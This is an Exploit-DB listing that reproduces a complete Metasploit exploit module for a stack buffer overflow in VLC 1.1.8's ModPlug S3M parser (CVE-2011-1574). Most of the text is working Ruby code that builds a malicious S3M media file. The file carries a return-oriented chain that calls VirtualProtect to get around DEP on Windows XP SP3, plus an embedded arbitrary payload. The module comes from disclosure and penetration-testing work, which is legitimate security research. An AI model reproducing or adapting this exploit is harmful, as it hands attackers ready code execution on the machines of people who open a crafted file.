标题: VideoLAN VLC Media Player 1.1.8 - ModPlug ReadS3M Stack Buffer Overflow (Metasploit) EDB-ID: 17252 CVE: 2011-1574 类型: REMOTE 平台: WINDOWS 发布日期: 2011-04-08 漏洞利用脚本: ##
# $Id: vlc_modplug_s3m.rb 12282 2011-04-08 15:48:53Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'VideoLAN VLC ModPlug ReadS3M Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits an input validation error in libmod_plugin as
    included with VideoLAN VLC 1.1.8. All versions prior to version 1.1.9
    are affected. By creating a malicious S3M file, a remote attacker
    could execute arbitrary code.

    Although other products that bundle libmodplug may be vulnerable, this
    module was only tested against VLC.

    NOTE: As of July 1st, 2010, VLC now calls SetProcessDEPPoly to
    permanently enable NX support on machines that support it. As such,
    this module is capable of bypassing DEP, but not ASLR.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'jduck' ],
   'Version'        => '$Revision: 12282 $',
   'References'     =>
    [
     [ 'CVE', '2011-1574' ],
     [ 'OSVDB', '72143' ],
     #[ 'BID', 'xxx' ],
     [ 'URL', 'http://modplug-xmms.git.sourceforge.net/git/gitweb.cgi?p=modplug-xmms/modplug-xmms;a=commitdiff;h=aecef259828a89bb00c2e6f78e89de7363b2237b' ],
     [ 'URL', 'http://hackipedia.org/File%20formats/Music/html/s3mformat.php' ],
     [ 'URL', 'https://www.sec-consult.com/files/20110407-0_libmodplug_stackoverflow.txt' ],
     [ 'URL', 'http://seclists.org/fulldisclosure/2011/Apr/113' ]
    ],
   'Payload'        =>
    {
     'Space'  => 512 - 0x24, # Space reserved for prepended mutex code
     #'DisableNops' => true,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'VLC 1.1.8 on Windows XP SP3',
      {
       # vuln is in libmod_plugin.dll, rop is custom to this module
      }
     ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Apr 07, 2011', # "found: 2011-03-09"
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'The file name.',  'msf.s3m']),
   ], self.class)
 end

 def exploit

  num_orders = 0x14
  num_instru = 0x15
  num_patterns = 0x18

  hdr = "\x00" * 0x1c # song name (none)
  hdr << [
   0x1a,   # static byte
   0x10,   # ST3 module
   0x00,   # padding
   num_orders,
   num_instru,
   num_patterns,
   0x00,   # Flags
   0x1320, # Created with (which tracker)
   0x02,   # File format information
  ].pack('CCvvvvvvv')
  hdr << "SCRM"

  hdr << [
   0x40, # global volume
   0x06, # initial speed
   0x8a, # initial tempo
   0xb0, # master volume
   0x10, # ultra click removal
   0xfb  # NOTE, non-0xfc value skips an additional loop!
   # 0xfc == default channel pan positions present
  ].pack('CCCCCC')
  hdr << "\x00" * 10  # includes pad and special pointer

  # channel settings (for 32 channels)
  hdr << "\x00\x08\x01\x09\x02\x0a\x03\x0b\x04\x0c\x05\x0d\x06\x0e\x07\x0f"
  hdr << "\xff" * 16

  # orders
  hdr << "\x07\x08\x0c\x09\x0a\x0b\x0b\x0d\x0e\x0f\x0f\x0f\x10\x11\x12\x13"
  hdr << "\x14\x16\x17\xff"

  # parapointers to instruments
  hdr << [ 0x0f ].pack('v') * num_instru

  # parapoitners to patterns
  hdr << [ 0x78 ].pack('v') * num_patterns

  # channel default pan positions
  hdr << "\x00" * 32

  # instruments
  instru = "\x01metasplo.ity"
  rest = "\x00" * ((0x50 * num_instru) - instru.length)

  # Build the rop stack
  rvas = rvas_libmod_plugin_xpsp3()
  rop = generate_rop(rvas)
  zero_ptr = rva2addr(rvas, 'Scratch') + 4
  mutex_addr = rva2addr(rvas, 'Scratch') + 8
  imp_Sleep = rva2addr(rvas, 'imp_Sleep')

  # A mutex to prevent double payloads
  locking_code = <<-EOS
 mov ebx, [ #{imp_Sleep} ]
 jmp test_lock

sleep:
 push 0xdeadbeef
 call ebx

test_lock:
 mov eax, [ #{mutex_addr} ]
 test eax,eax
 jnz sleep

 lock cmpxchg [ #{mutex_addr} ], ebp
 test eax,eax
 jnz sleep

EOS
  rop << Metasm::Shellcode.assemble(Metasm::Ia32.new, locking_code).encode_string
  rop << payload.encoded

  # This becomes the new EIP (after return)
  ret = rva2addr(rvas, 'pop eax / ret')
  rest[1267, 4] = [ ret ].pack('V')

  # In order to force return, we smash the this ptr on the stack and point
  # it so that m_nChannels turns out to be 0.
  rest[1271, 4] = [ zero_ptr - 0xe910 ].pack('V')

  # Add the ROP stack and final payload here
  rest[1275, rop.length] = rop
  instru << rest

  # patterns
  patt = [ 0x10 ].pack('v')
  patt << "\x00" * 0x10


  # finalize the file
  s3m = ""
  s3m << hdr

  instru_pad = (0x0f * 0x10) - hdr.length
  s3m << "\x80" * instru_pad
  s3m << instru


  # patch in exploit trigger values
  s3m[0x22, 2] = [ 0x220 ].pack('v')
  s3m[0x24, 2] = [ 0x220 ].pack('v')


  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(s3m)

 end

 def rvas_libmod_plugin_xpsp3()
  # libmod_plugin.dll from VLC 1.1.8 (Win32)
  # Just return this hash
  {
   # Used as 'Ret' for target
   'ret'                    => 0x1022,
   'push eax / ret'         => 0x1cc4d,
   'pop eax / ret'          => 0x598a2,
   'mov eax, [eax+0x1c] / ret' => 0x542c9,
   'pop ebx / pop ebp / ret' => 0x25e2f,
   'add eax, 4 / pop ebp / ret' => 0x7028,
   'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret' => 0x23dad,
   'sub eax, ebx / pop ebx / pop edi / pop ebp / ret' => 0x7d64,
  }
 end

 def generate_rop(rvas)
  # ROP fun! (XP SP3 English, Apr 10 2011)
  rvas.merge!({
   # Instructions / Name    => RVA
   'BaseAddress'            => 0x653c0000,
   'imp_VirtualProtect'     => 0xec2f0 - 0x1c,  # adjust for gadget used to resolve
   'imp_Sleep'              => 0xec2dc,
   'Scratch'                => 0x5fbfc,
   'Data'                   => 0x60101,
   #'DataAdjusted'           => 0x60000 - 0x58 + 0x8,
   'DataAdjusted'           => 0x60000 - 0x58,
  })

  copy_stage = <<-EOS
 nop
 push esp
 pop esi
 lea edi, [eax+0x10]
 push 0x7f
 pop ecx
 inc ecx
 rep movsd
EOS
  copy_stage = Metasm::Shellcode.assemble(Metasm::Ia32.new, copy_stage).encode_string
  if (copy_stage.length % 4) > 0
   raise RuntimeError, "The copy stage is invalid"
  end

  rop_stack = [
   # Resolve VirtualProtect
   'pop eax / ret',
   'imp_VirtualProtect',
   'mov eax, [eax+0x1c] / ret',

   # Call VirtuaProtect
   'push eax / ret',
   'pop eax / ret',   # after VirtualProtect
   # Args to VirtualProtect
   'Data',      # lpAddress (place holder, filled in @ runtime above)
   0x1000,      # dwSize
   0x40,        # flNewProtect
   'Scratch',   # lpflOldProtect

   # Load the pre-adjusted Data addr
   'DataAdjusted', # matches pop eax / ret above

   ##
   # Write our code little stager to our newly executable memory.
   ##

   # Load the last 32-bits of code to write
   'pop ebx / pop ebp / ret',
   copy_stage[0, 4].unpack('V').first,
   :unused, # ebp

   # Write & advance
   'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',
   copy_stage[4, 4].unpack('V').first,
   :unused, # esi
   :unused, # edi
   :unused, # ebp
   'add eax, 4 / pop ebp / ret',
   :unused, # ebp

   # Write & advance
   'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',
   copy_stage[8, 4].unpack('V').first,
   :unused, # esi
   :unused, # edi
   :unused, # ebp
   'add eax, 4 / pop ebp / ret',
   :unused, # ebp

   # Write & advance
   'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',
   0xffffffb0,  # adjustment value
   :unused, # esi
   :unused, # edi
   :unused, # ebp

   # Adjust eax
   'sub eax, ebx / pop ebx / pop edi / pop ebp / ret',
   :unused, # ebx
   :unused, # edi
   :unused, # ebp

   # Execute the copy stage
   'push eax / ret',
  ]

  rop_stack.map! { |e|
   if e.kind_of? String
    # Meta-replace (RVA)
    raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e]
    rvas['BaseAddress'] + rvas[e]

   elsif e == :unused
    # Randomize
    rand_text(4).unpack('V').first

   else
    # Literal
    e
   end
  }

  rop_stack.pack('V*')
 end

 def rva2addr(rvas, key)
  raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key]
  rvas['BaseAddress'] + rvas[key]
 end

end URL: https://www.exploit-db.com/exploits/17252